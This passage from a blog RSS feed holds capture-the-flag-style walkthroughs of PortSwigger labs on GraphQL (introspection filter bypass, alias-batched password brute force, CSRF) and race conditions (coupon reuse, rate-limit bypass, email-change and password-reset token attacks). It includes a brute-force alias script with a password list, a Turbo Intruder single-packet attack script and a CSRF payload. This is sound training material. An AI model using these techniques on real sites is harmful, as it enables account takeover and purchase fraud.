src="https://cdn-images-1.medium.com/max/719/1*rKO9twxSxQTwYt8KNJB-pg.png" /></figure><p>2. test for common graphql endpoint suffixes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*hO-Ajh4vRfkvJ9Yon0j43Q.png" /></figure><p>4. All suffixes returned a response with “Not Found” except for endpoint `<strong>/api</strong>` which returned “<strong>Query not present</strong>”. This may indicate a hidden graphql within this endpoint, send this request to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*jVgSzEo6JLprJUG_Pub1rg.png" /></figure><p>5. Add the following query to the URL parameter of the request `<strong>/api?query=query{__typename}</strong>` , notice that the response confirms that this is a graphql endpoint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*UpHhYkezSB5k4s0FlHvAwQ.png" /></figure><p>6. Send a new request this time with a URL encoded introspection query as the query parameter. (right click -&gt; GraphQL -&gt; Set introspection query). Response shows introspection is not allowed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*U1WBrWMR3NQsWeyEEsU4mg.png" /></figure><p>7. Add a simple new line character <strong>(%0a)</strong> after `<strong>__schema</strong>`. Notice that the response now includes the FULL introspection details. This explains that the server is configured to exclued queries that are matching the regex `”<strong>__schema{</strong>“`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*XG5QsshSy4KHcFY-gnoddQ.png" /></figure><p>8. Time to exploit, right click -&gt; GraphQL -&gt; Save GraphQL queries to site map</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*CnhXTdSoEJRfUPMEkcNHcw.png" /></figure><p>9. Then go to Target -&gt; Sitemap and find the `<strong>getUser</strong>` query, right click then send to repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Jnh_f9sEpGMMf1-UAf2dFg.png" /></figure><p>10. Send the request to Burp repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*t1rwo1cQcAyOd6RmAy_7Pw.png" /></figure><p>11. Click on GraphQL tab, change the id parameter to obtain carlos’ user ID, in this case it is `<strong>3</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*2aioUsMNSlVVrNYbbUTMGQ.png" /></figure><p>12. Back to target -&gt; sitemap, look for any queries that have a relation in deleting a user, send this query to repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*eYPrKWOtooKqF32vlDzymA.png" /></figure><p>13. Copy and paste the encoded URL to decoder then modify the id to 3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*Y6vvbl4Pj04LNaYFWzrsPg.png" /></figure><p>14. Modify the URL in repeater just change the `<strong>0</strong>` to id of carlos which is `<strong>3</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*4UmjCaeA5D7pvLBWN6U2KQ.png" /></figure><p>15. Refresh the lab webpage to solve the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*NOrRoUHgtFl6F3bX5PpQsw.png" /></figure><h3>IV. <strong>Bypassing GraphQL brute force protections</strong></h3><p>The user login mechanism for this lab is powered by a GraphQL API. The API endpoint has a rate limiter that returns an error if it receives too many requests from the same origin in a short space of time.</p><p>To solve the lab, brute force the login mechanism to sign in as carlos. Use the list of authentication lab passwords as your password source.</p><p>Learn more about Working with GraphQL in Burp Suite</p><p>Tip<br> This lab requires you to craft a large request that uses aliases to send multiple login attempts at the same time. As this request could be time-consuming to create manually, we recommend you use a script to build the request.</p><p>The below example JavaScript builds a list of aliases corresponding to our list of authentication lab passwords and copies the request to your clipboard. To run this script:</p><p>1. Open the lab in Burp’s browser.<br>2. Right-click the page and select Inspect.<br>3. Select the Console tab.<br>4. Paste the script and press Enter.</p><p>You can then use the generated aliases when crafting your request in Repeater.</p><pre>copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(&#39;,&#39;).map((element,index)=&gt;`<br>bruteforce$index:login(input:{password: &quot;$password&quot;, username: &quot;carlos&quot;}) {<br>        token<br>        success<br>    }<br>`.replaceAll(&#39;$index&#39;,index).replaceAll(&#39;$password&#39;,element)).join(&#39;\n&#39;));console.log(&quot;The query has been copied to your clipboard.&quot;);</pre><h3>Solution</h3><p>1. Navigate to My account, and try to login with any test credentials<br>2. Check Burp Suite HTTP Histpory, notice that login requests are sent as a GraphQL mutation, send this request to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*ntZxEwjnQL1ptlg3G7kTog.png" /></figure><p>3. Don’t forget to do what was stated in this lab’s `<strong>Tip</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*P81gdlS12CulZS4g2nzgeA.png" /></figure><p>4. In Repeater’s GraphQL tab, modify the request and add what was copied. This was the original request below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*Yh2PG4JBS4q66VOHOxBE7A.png" /></figure><p>5. Modified request below, then press send:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*3ZwRoPec_FofOgEwfws1qQ.png" /></figure><p>6. Response shows data that was brute forced. Find the one that returned <strong>success: true</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*z0XMj5f3gA2RO8DCXVDz0g.png" /></figure><pre>&quot;bruteforce25&quot;: {<br>      &quot;token&quot;: &quot;v1Uqr0dwPoJaJ32Q3klKmKoNaMaFUtd2&quot;,<br>      &quot;success&quot;: true</pre><p>7. Since it was bruteforce 25, let’s head bac kto the request and search for bruteforce 25.. Notice that it shows the username and password for user: carlos</p><pre>{password: &quot;superman&quot;, username: &quot;carlos&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*alFrQJ4hyz5BdHsNlK0oSQ.png" /></figure><p>8. Login with carlos:superman to solve this lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*PH4QVLHZWX2KkJlLE64Rrw.png" /></figure><h3>V. <strong>Performing CSRF exploits over GraphQL</strong></h3><p>The user management functions for this lab are powered by a GraphQL endpoint. The endpoint accepts requests with a content-type of x-www-form-urlencoded and is therefore vulnerable to cross-site request forgery (CSRF) attacks.</p><p>To solve the lab, craft some HTML that uses a CSRF attack to change the viewer’s email address, then upload it to your exploit server.</p><p>You can log in to your own account using the following credentials: wiener:peter.</p><p>Learn more about Working with GraphQL in Burp Suite.</p><h3>Solution</h3><p>1. Login with the given credentials, wiener:peter<br>2. Enter a new email, any test email then update your email account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*b1ao3gUpRU3Qbidv_xG1kw.png" /></figure><p>3. Check Burp Suite HTTP History, notice that changing the email address was sent as as GraphQL mutation, send this request to the Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*57qLqoApEF5VKykkSEs1og.png" /></figure><p>4. In Repeater, change the email address to a different email address. Notice that the email also changed in the response. This means that you can reuse a session cookie to send multiple requests</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*5J30nou4m77KTQiUV0322g.png" /></figure><p>5. Right Click -&gt; Change request method (2x) to change the request to a POST request again but this time with a header of Content-Type: applicaiton/x-www-form-urlencoded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*mN-q5PaY9T-6CfitCCZFYQ.png" /></figure><p>6. But the mutation body has also been removed.. Add the following request body back with URL encoding:</p><pre>query=%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&amp;operationName=changeEmail&amp;variables=%7B%22input%22%3A%7B%22email%22%3A%22hacker%40hacker.com%22%7D%7D</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*E1poo5BfKbWHEtBTX9ED6w.png" /></figure><p>7. Right click -&gt; Engagement tools -&gt; Generate CSRF PoC, a new dialog box will open</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*usuYClkON3_vGIFhuX0Mqg.png" /></figure><p>8. Modify the HTML in the CSRF PoC generator dialog so that it changes the email one more time. This is a necessary step otherwise the exploit will not make any changes to the current email address at the time it is run. If you test it, make sure to always change it.<br>9. Copy the HTML, then paste it in the exploit server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*O_jw7axDcqPn6rxVdJEhWw.png" /></figure><p>10. Click deliver exploit to victim to solve this lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*LF77CXrGLjtyUn6yt3qQTg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a47f1a7d12cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger Labs: Race Conditions Writeup (ALL LABS)]]></title>
            <link>https://medium.com/@awes0me.writes/portswigger-labs-race-conditions-writeup-all-labs-4643cf6cb664?source=rss-1fd57f472c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/4643cf6cb664</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[awes0meness]]></dc:creator>
            <pubDate>Mon, 03 Nov 2025 02:17:23 GMT</pubDate>
            <atom:updated>2025-11-03T02:17:23.925Z</atom:updated>
            <content:encoded><![CDATA[<h3>I. <strong>Limit overrun race conditions</strong></h3><p>This lab’s purchasing flow contains a race condition that enables you to purchase items for an unintended price.</p><p>To solve the lab, successfully purchase a Lightweight L33t Leather Jacket.</p><p>You can log in to your account with the following credentials:</p><p>wiener:peter.</p><p>For a faster and more convenient way to trigger the race condition, we recommend that you solve this lab using the Trigger race conditions custom action. This is only available in Burp Suite Professional.</p><p>Note<br>Solving this lab requires Burp Suite 2023.9 or higher.</p><h3>Solution</h3><p><strong>Testing for potential collisions</strong></p><p>1. Login with the given credentials, wiener:peter<br>2. Navigate to home -&gt; look for the product `<strong>Lightweight L33t Leather Jacket</strong>` -&gt; add to cart<br>3. Go to your cart -&gt; Add promo code `<strong>PROMO20</strong>` -&gt; Place order<br>4. Placing an order will be unsuccessful since the total price will be $1069.60 but we only have $50</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4m9OobUw6uX9lgb-7MYzqQ.png" /></figure><p>5. Send the `<strong>GET cart</strong>` request to Repeater, test sending the cart with:<br> a. With session cookie (leather jacket is in cart)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qq_1g05Md1MSNoj1VAohug.png" /></figure><p>b. Without session cookie (Cart is empty)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aqRAmK1NlUVXZazEM4ZeuA.png" /></figure><p>6. Based from the results in step 5, we can conclude that:<br> — cart is stored server-side<br> — any operations on the cart are keyed on the session ID</p><p>7. Consider that there may be a race window between when you first apply a discount code and when the database is updated to reflect that you’ve done this already.</p><p><strong>Benchmarking the behaviour<br></strong>1. Remove discount code currently applied to cart<br>2. Check HTTP History, look for the request where we applied the discount code earlier, send this to Repearter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x3Iq9psx27SWw5QmBxZpbA.png" /></figure><p>3. Send request twice<br> — 1st request: Coupon applied</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HFyQQdwEipKmjDWsrVYlrQ.png" /></figure><ul><li>2nd request: coupon already applied</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jbjVZxlDkBfKbYh8-JjgWQ.png" /></figure><p><strong>Probe for clues</strong><br>1. Refresh the browser, then remove discount code from cart again<br>2. Back to Repeater, right click the tab where the `<strong>POST /cart/coupon</strong>` is located -&gt; add tab to group -&gt; create tab group -&gt; name your group -&gt; once created, right click the `<strong>POST /cart/coupon</strong>` tab again -&gt; duplicate -&gt; duplicate 19 times<br>3. Now we have a tab group called `<strong>group-parallel</strong>` with 20 similar tabs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tlKzESRZE2HxSOqlUAlwJw.png" /></figure><p>4. Select the drop down panel next to Send then click `<strong>Send group in parallel</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*ag6bvo_sJdSu6ulzeufAjQ.png" /></figure><p>5. After sending the request, notice that there are tabs in the group where Coupon was applied and there are also tabs where it says that the Coupon is already applied<br>6. Refresh the lab page in browser to confirm application of coupon</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DJ5Dhakg8O2E94nvPLA6pQ.png" /></figure><p>7. Success! Coupon is applied multiple times, giving us more than 20% discount!<br>8. Place order to solve the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K09moaPuhaMikMC8aNpdVQ.png" /></figure><h3>II. <strong>Bypassing rate limits via race conditions</strong></h3><p>This lab’s login mechanism uses rate limiting to defend against brute-force attacks. However, this can be bypassed due to a race condition.</p><p>To solve the lab:</p><p>1. Work out how to exploit the race condition to bypass the rate limit.<br>2. Successfully brute-force the password for the user carlos.<br>3. Log in and access the admin panel.<br>4. Delete the user carlos.</p><p>You can log in to your account with the following credentials:</p><p>wiener:peter.</p><p>You should use the following list of potential passwords: <br>123123<br>abc123<br>football<br>monkey<br>letmein<br>shadow<br>master<br>666666<br>qwertyuiop<br>123321<br>mustang<br>123456<br>password<br>12345678<br>qwerty<br>123456789<br>12345<br>1234<br>111111<br>1234567<br>dragon<br>1234567890<br>michael<br>x654321<br>superman<br>1qaz2wsx<br>baseball<br>7777777<br>121212<br>000000</p><p>Note</p><p>- Solving this lab requires Burp Suite 2023.9 or higher. You should also use the latest version of the Turbo Intruder, which is available from the BApp Store.<br>- You have a time limit of 15 mins. If you don’t solve the lab within the time limit, you can reset the lab. However, Carlos’s password changes each time.</p><h3>Solution</h3><p>1. Navigate to the login page and experiment with its function by submitting incorrect passwords for user: wiener<br>2. Notice that if you enter an incorrect password more than three times, you get temporarily blocked from making any more login attempts for the same account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kSqxur-BTM4R0mWzEa2fxA.png" /></figure><p>3. Try logging in with a another test username, notice that you’ll receive a normal `<strong>Invalid username or password</strong>` message. This means that the rate limit is enforced per-username rather than per-session</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HD8QO3xkDn005oAA7MAL8Q.png" /></figure><p>4. We conclude that the number of failed attempts per username must be stored server-side<br>5. Race window considerations:<br> — during submitting login attempts<br> — when website increments the counter for the number of failed login attempts associated with a particular username</p><p><strong>Benchmarking the behaviour<br></strong>1. In burp HTTP history, send the `<strong>POST /login</strong>` request containing unsuccessful login attempt for user: wiener to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5nNObsSChdxRL3df7xpFXw.png" /></figure><p>2. In repeater, right click the tab where the `<strong>POST /login</strong>` request is located -&gt; add tab to group -&gt; create tab group -&gt; name your group -&gt; once created, right click the `<strong>POST /login</strong>` tab again -&gt; duplicate -&gt; duplicate 19 times</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dDO-5vJF6LTFjN5mJKEDmw.png" /></figure><p>3. Send requests in parallel. Responses show that we have triggered an account lock, and also, more than three requests received the normal `<strong>Invalid username and password</strong>` response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bo5O604uH6xg1ayUKgh-1A.png" /></figure><p>4. This means that if we’re quick enough, we might be able to bypass this</p><p><strong>Prove the concept</strong></p><p>1. Still in repeater, highlight the value of the password parameter in the `<strong>POST /login</strong>` request<br>2. right-click -&gt; Extensions -&gt; Turbo Intruder -&gt; Send to turbo intruder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xgKVSMTH1R4KDkzo98ZSrg.png" /></figure><p>3. highlighted password parameter is automatically marked with payload positions `<strong>%s</strong>`<br>4. Change username to `<strong>carlos</strong>`<br>5. from the dropdown menu, select <strong>`examples/race-single-packet-attack.py</strong>` template<br>6. Edit the template with the following below so that the attack queues the request once using each of the candidate passwords.</p><pre>def queueRequests(target, wordlists):<br><br>    # as the target supports HTTP/2, use engine=Engine.BURP2 and concurrentConnections=1 for a single-packet attack<br>    engine = RequestEngine(endpoint=target.endpoint,<br>                           concurrentConnections=1,<br>                           engine=Engine.BURP2<br>                           )<br>    <br>    # assign the list of candidate passwords from your clipboard<br>    passwords = wordlists.clipboard<br>    <br>    # queue a login request using each password from the wordlist<br>    # the &#39;gate&#39; argument withholds the final part of each request until engine.openGate() is invoked<br>    for password in passwords:<br>        engine.queue(target.req, password, gate=&#39;1&#39;)<br>    <br>    # once every request has been queued<br>    # invoke engine.openGate() to send all requests in the given gate simultaneously<br>    engine.openGate(&#39;1&#39;)<br><br><br>def handleResponse(req, interesting):<br>    table.add(req)</pre><p>7. Notice the code, there’s a line with the following `<strong>passwords = wordlists.clipboard</strong>`, this means we should copy the given password lists</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dfhy76Uci3_kT24bU6p8Vw.png" /></figure><p>8. launch the attack!</p><p>9. Analyze the responses:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UeApe28p5GPwaaiarhwrvg.png" /></figure><p>- If you have no successful logins, wait for the account lock to reset and then repeat the attack. You might want to remove any passwords from the list that you know are incorrect.<br>- If you get a 302 response, notice that this login appears to be successful. Make a note of the corresponding password from the Payload column.</p><p>10. wait for the account lock to reset, then login as user: `<strong>carlos:master</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PwxWhexlKgqqMp1cboysug.png" /></figure><p>11. Navigate to the Admin panel -&gt; Delete user carlos to solve the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BR4rnaRBiBaKo5ygR7ykGQ.png" /></figure><h3>III. <strong>Multi-endpoint race conditions</strong></h3><p>This lab’s purchasing flow contains a race condition that enables you to purchase items for an unintended price.</p><p>To solve the lab, successfully purchase a Lightweight L33t Leather Jacket.</p><p>You can log into your account with the following credentials:</p><p>wiener:peter.</p><p>Note<br>Solving this lab requires Burp Suite 2023.9 or higher.</p><p>Tip<br>When experimenting, we recommend purchasing the gift card as you can later redeem this to avoid running out of store credit.</p><h3>Solution</h3><p><strong>Testing for potential collisions<br></strong>1. Login and try to purchase a gift card then analyze Burp Suite proxy history</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4neZUUlV1J6g61UM4RbU7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z3uR6gWY1n2zL6DahcopKA.png" /></figure><ol><li>Try to add another gift card to your cart, send the `<strong>GET /cart</strong>` request to Repeater</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*algp0_3g8m_k59XglllEyg.png" /></figure><p>2. In repeater, send the `<strong>GET /cart</strong>` request trying both with and without session cookies. Analyzing the process, without the session cookie, we can only access an empty cart.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FX3Q2FF1puFTVDo0eSz1OQ.png" /></figure><p>3. We can conclude that:<br> — state of the cart is stored `<strong>server-side</strong>` in the session<br> — `<strong>any</strong>` operations on the cart are keyed in the session ID<br>- This means that there is potential for collision</p><p><strong>Benchmarking the behaviour</strong></p><ol><li>Send `<strong>POST /cart</strong>` and `<strong>POST /cart/checkout</strong>` request to Repeater then add them to a new group</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*Ugklg6-DpFqmM_bq-R0IGw.png" /></figure><p>2. Send the two requests in sequence over a single connection a few times. Notice that the first request takes a little longer than the second one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_7p7HsVUkasLXURtNQeX_g.png" /></figure><p>3. Add a `<strong>GET</strong>` request for the homepage to the start of the tab group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*UEsTpkOkPuwwMApITHFNxA.png" /></figure><p>4. Send all three request in sequence over a single connection. Notice that the first request still takes a little bit longer, but check the second and third request: they are completed within a much smaller window now<br>5. We can now conclude that this delay is caused by the back-end network architecture<br>6. Remove the `<strong>GET</strong>` request for the homepage in the tab group<br>7. Modify the `<strong>POST /cart</strong>` request in the tab group as `<strong>productId=1</strong>`, which is the ID of the Lightweight L33t Leather Jacket</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IghJeLFxBpAs6dh6AC9ZEQ.png" /></figure><p>8. Send the request in sequence again, notice that the order is rejected since we don’t have enough money.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LaJv2QXzU1Lm7E3agFh9HQ.png" /></figure><p><strong>Proving the concept<br></strong>1. Remove the jacket from the cart and add another gift card<br>2. In Repeater, try sending the request again, but now use `<strong>parallel method</strong>`<br>3. Analyze the response in the `<strong>POST /cart/checkout</strong>`, if you receive the following response:<br> — “Insufficient funds”: remove the jacket from cart and repeat the attack, try multiple times.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c3hG9DvlirCL6UuX_KNF7A.png" /></figure><ul><li>HTTP 200 OK Response: this means that the leather jacket was successfully purchased and the lab is solved.</li></ul><p>4. After several trial and error I finally found a way to bypass this:<br>- Repeater group setup:<br> — 1: POST /cart | prodId=1<br> — 2: /cart/checkout<br> — 3: POST /cart | prodId=1<br>- Make sure you have one active coupon in your cart<br>- Send request in parallel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IDnC6uMnEUTXDvZ94RrhmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TFd-A7uRaqG1Iekp7cJJ_w.png" /></figure><h3>IV. <strong>Single-endpoint race conditions</strong></h3><p>This lab’s email change feature contains a race condition that enables you to associate an arbitrary email address with your account.</p><p>Someone with the address <strong>`carlos@ginandjuice.shop</strong>` has a pending invite to be an administrator for the site, but they have not yet created an account. Therefore, any user who successfully claims this address will automatically inherit admin privileges.</p><p>To solve the lab:</p><p>1. Identify a race condition that lets you claim an arbitrary email address.<br>2. Change your email address to carlos@ginandjuice.shop.<br>3. Access the admin panel.<br>4. Delete the user carlos</p><p>You can log in to your own account with the following credentials: <strong>`wiener:peter`.</strong></p><p>You also have access to an email client, where you can view all emails sent to `<a href="http://twitter.com/exploit"><strong>@exploit</strong></a><strong>-&lt;YOUR-EXPLOIT-SERVER-ID&gt;.exploit-server.net</strong>` addresses.</p><p>Note<br>Solving this lab requires Burp Suite 2023.9 or higher</p><h3>Solution</h3><p>1. Login with the given credentials, wiener:peter<br>2. try to change the email address to `t<strong>est@exploit-(your exploit server generated)</strong>`, and send this `<strong>POST /my-account/change-email</strong>` request to the Repeater twice</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qNHcGJp6W4L8BLvIN8KfRw.png" /></figure><p>3. Create a new group and add the two newly added tabs in Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R9F7Czk4bbXNb1j02OJuZA.png" /></figure><p>4. Modify the email to the following parameters:</p><pre>Request 1: test1@exploit....etc<br>Request 2: carlos@ginandjuice.shop<br>SEND GROUP IN PARALLEL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7WeFpNUsbK4sVyMGiTst5A.png" /></figure><p>5. Navigate to the exploit server then check for the confirmation to change `<strong>carlos@ginandjuice.shop</strong>`, click the link below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3hwlrv36LwN3Ns8rFdV4_g.png" /></figure><p>6. So I did this method multiple times repeating step 2 since I first clicked the wrong confirmation link (the test link), then I noticed that once I clicked it, the link will be automatically invalid and concluded that the web application only stores one pending email address at a time. Then when I finally clicked the right link:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RngP55S80vK4NGvyE115Dw.png" /></figure><p>7. We now got the Admin Panel if we refresh our account page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YNr9BQUDy2m3j4K90203nQ.png" /></figure><p>8. Deleting user carlos will solve the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q8SZw2SaB17L3f-fAftCxA.png" /></figure><h3><strong>V. Exploiting time-sensitive vulnerabilities</strong></h3><p>This lab contains a password reset mechanism. Although it doesn’t contain a race condition, you can exploit the mechanism’s broken cryptography by sending carefully timed requests.</p><p>To solve the lab:</p><p>1. Identify the vulnerability in the way the website generates password reset tokens.<br>2. Obtain a valid password reset token for the user carlos.<br>3. Log in as carlos.<br>4. Access the admin panel and delete the user carlos.</p><p>You can log into your account with the following credentials: wiener:peter.<br>Note</p><p>Solving this lab requires Burp Suite 2023.9 or higher.</p><h3>Solution</h3><ol><li>Navigate to My accoung -&gt; Forgot password? -&gt; input the username:wiener -&gt; submit -&gt; Then check the email client</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g2o7WPWW2u-iYK6VRHhjGw.png" /></figure><p>2. In Burp Suite HTTP History, send the `POST /forgot-password` to Repeater, try to send the request multiple times. Back to the email client, notice that the link generates a different token every time we try to request a password reset session</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8KudBlA3ncZpHihVG4eAyQ.png" /></figure><p>3. Notice that the tokens have the same length, this may indicate that either they are randomly generator or could be a hash of some type of data that may be predictable<br>4. Duplicate the request in a new tab -&gt; Create a new group -&gt; send request in parallel for a few times. Notice that there is a delay between each response and we still get a different token every time</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fdlK2BT0M5r0Fqr7KLRfRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ay17OaYCgsRBmXhcdcn0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eqY2pkoLhWET_njB_eRo-Q.png" /></figure><p>5. Send the `<strong>GET /forgot-password</strong>` request to Repeater, remove session cookie from the request and send it, copy the response `<strong>phpsessionid</strong>` and new `<strong>csrf token</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WAwEpWbD5QOgvYGG0NkPZw.png" /></figure><p><strong>phpsessionid=w7ShV95sripT33KL20KV88EZiv9Dkwb4</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pud7TCWfWwvIAWFwS89iGw.png" /></figure><p><strong>csrf=Hy7kSiIU5b4x2rTrrvwA4tueZF974LPF</strong></p><p>6. Copy the newly generated sessionId cookie and csrf token then paste it in one of the `<strong>POST /forgot-password</strong>` requests we got in step 4, then change the username to the target: `<strong>carlos</strong>`, SEND GROUP IN PARALLEL!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cBUqDsgLWvIIi-q1vma7Rg.png" /></figure><p>7. Checking the email client, we only received `<strong>one</strong>` confirmation to reset message rather than receiving two, copy the link, paste in a new tab and replace the user to `<strong>carlos</strong>` since we are hoping that carlos also received the same link and token</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nxmz3iaWFyIl5v33MxcPAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-aDKPZpnuSyYGXyvN5LqrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*tXX2WBsDFmjogjgSQj_Czg.png" /></figure><p>8. Login as carlos with the new password you just typed… success!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-EIlTMuzI5p--xi2IhKEfA.png" /></figure><p>9. Navigate to the admin panel, delete user carlos to solve the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YeKNkafZp-rMkALxthqoSw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4643cf6cb664" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger Labs: Server Side Request Forgery (SSRF) Writeup (ALL LABS)]]></title>
            <link>https://medium.com/@awes0me.writes/portswigger-labs-server-side-request-forgery-ssrf-writeup-all-labs-32ff711ea2dc?source=rss-1fd57f472c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/32ff711ea2dc</guid>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[awes0meness]]></dc:creator>
            <pubDate>Mon, 03 Nov 2025 01:56:41 GMT</pubDate>
            <atom:updated>2025-11-03T01:56:41.637Z</atom:updated>
